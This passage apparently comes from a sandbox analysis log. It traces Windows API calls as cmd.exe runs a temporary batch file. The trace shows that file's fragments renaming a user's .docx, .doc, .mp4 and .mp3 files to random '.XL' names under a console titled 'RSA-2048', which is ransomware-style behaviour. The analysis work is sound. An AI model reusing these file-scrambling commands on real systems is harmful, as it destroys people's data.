dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0037.406] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=4959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0037.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\r\n") returned 27 [0037.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.406] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0037.406] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.407] GetFileType (hFile=0x74) returned 0x1 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0037.407] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=4970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0037.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0037.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0037.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.407] GetFileType (hFile=0x74) returned 0x1 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0037.407] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0037.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0037.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.407] GetFileType (hFile=0x74) returned 0x1 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0037.407] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=4978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0037.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0037.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0037.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.408] GetFileType (hFile=0x74) returned 0x1 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0037.408] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=4980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0037.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0037.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0037.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.408] GetFileType (hFile=0x74) returned 0x1 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0037.408] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=5006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0037.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0037.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0037.408] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.408] GetFileType (hFile=0x74) returned 0x1 [0037.408] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0037.408] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=5017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0037.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0037.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0037.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.409] GetFileType (hFile=0x74) returned 0x1 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0037.409] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=5019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0037.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0037.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.409] GetFileType (hFile=0x74) returned 0x1 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0037.409] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=5025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0037.409] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0037.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0037.409] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.409] GetFileType (hFile=0x74) returned 0x1 [0037.409] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0037.410] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=5027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0037.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0037.410] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0037.410] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.410] GetFileType (hFile=0x74) returned 0x1 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0037.410] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=5053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0037.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0037.410] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0037.410] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.410] GetFileType (hFile=0x74) returned 0x1 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0037.410] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=5064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0037.410] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0037.410] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.410] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0037.411] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.411] GetFileType (hFile=0x74) returned 0x1 [0037.411] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0037.411] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.411] SetFilePointer (in: hFile=0x74, lDistanceToMove=5066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0037.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.411] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.411] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0037.411] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.411] GetFileType (hFile=0x74) returned 0x1 [0037.411] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0037.411] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.411] SetFilePointer (in: hFile=0x74, lDistanceToMove=5072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0037.411] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0037.411] _close (_FileHandle=3) returned 0 [0037.411] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.411] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.412] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.412] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.412] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.412] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.412] SetConsoleInputExeNameW () returned 0x1 [0037.412] GetConsoleOutputCP () returned 0x1b5 [0037.413] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.413] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.413] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.413] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.413] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.413] SetFilePointer (in: hFile=0x74, lDistanceToMove=5072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4c18 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.413] GetProcessHeap () returned 0x4e0000 [0037.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.414] GetProcessHeap () returned 0x4e0000 [0037.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.414] GetProcessHeap () returned 0x4e0000 [0037.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.414] GetProcessHeap () returned 0x4e0000 [0037.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.414] GetProcessHeap () returned 0x4e0000 [0037.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0037.414] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x125d, lpOverlapped=0x0) returned 1 [0037.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=5074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.414] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0037.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.414] GetFileType (hFile=0x74) returned 0x1 [0037.414] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.414] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.414] GetProcessHeap () returned 0x4e0000 [0037.414] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.414] GetProcessHeap () returned 0x4e0000 [0037.415] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.415] _tell (_FileHandle=3) returned 5074 [0037.415] _close (_FileHandle=3) returned 0 [0037.415] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.415] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.415] SetFilePointer (in: hFile=0x74, lDistanceToMove=5074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.415] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.416] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0037.416] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x125b, lpOverlapped=0x0) returned 1 [0037.416] SetFilePointer (in: hFile=0x74, lDistanceToMove=5100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.416] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n\n") returned 26 [0037.416] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.416] GetFileType (hFile=0x74) returned 0x1 [0037.416] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.416] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0037.416] GetProcessHeap () returned 0x4e0000 [0037.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.416] GetProcessHeap () returned 0x4e0000 [0037.416] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5038a0 [0037.417] GetProcessHeap () returned 0x4e0000 [0037.417] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a38 [0037.417] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.417] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0037.417] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0037.417] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0037.417] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0037.417] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0037.417] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0037.417] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0037.417] rand () returned 20835 [0037.417] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="20835") returned 5 [0037.417] GetProcessHeap () returned 0x4e0000 [0037.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.417] GetProcessHeap () returned 0x4e0000 [0037.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.417] GetProcessHeap () returned 0x4e0000 [0037.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.418] GetProcessHeap () returned 0x4e0000 [0037.418] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a98 [0037.418] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f4ab8 [0037.418] _tell (_FileHandle=3) returned 5100 [0037.418] _close (_FileHandle=3) returned 0 [0037.418] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0037.418] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0037.418] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0037.418] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0037.418] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0037.418] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0037.418] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0037.418] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0037.418] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4ae8 [0037.419] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x28) returned 0x4f4ae8 [0037.419] GetProcessHeap () returned 0x4e0000 [0037.419] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ae8) returned 0x28 [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4b18 [0037.419] GetProcessHeap () returned 0x4e0000 [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b58 [0037.419] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x28) returned 0x4f4b58 [0037.419] GetProcessHeap () returned 0x4e0000 [0037.419] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x28 [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b88 [0037.419] GetProcessHeap () returned 0x4e0000 [0037.419] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5868 [0037.419] _wcsicmp (_String1="*.mp3", 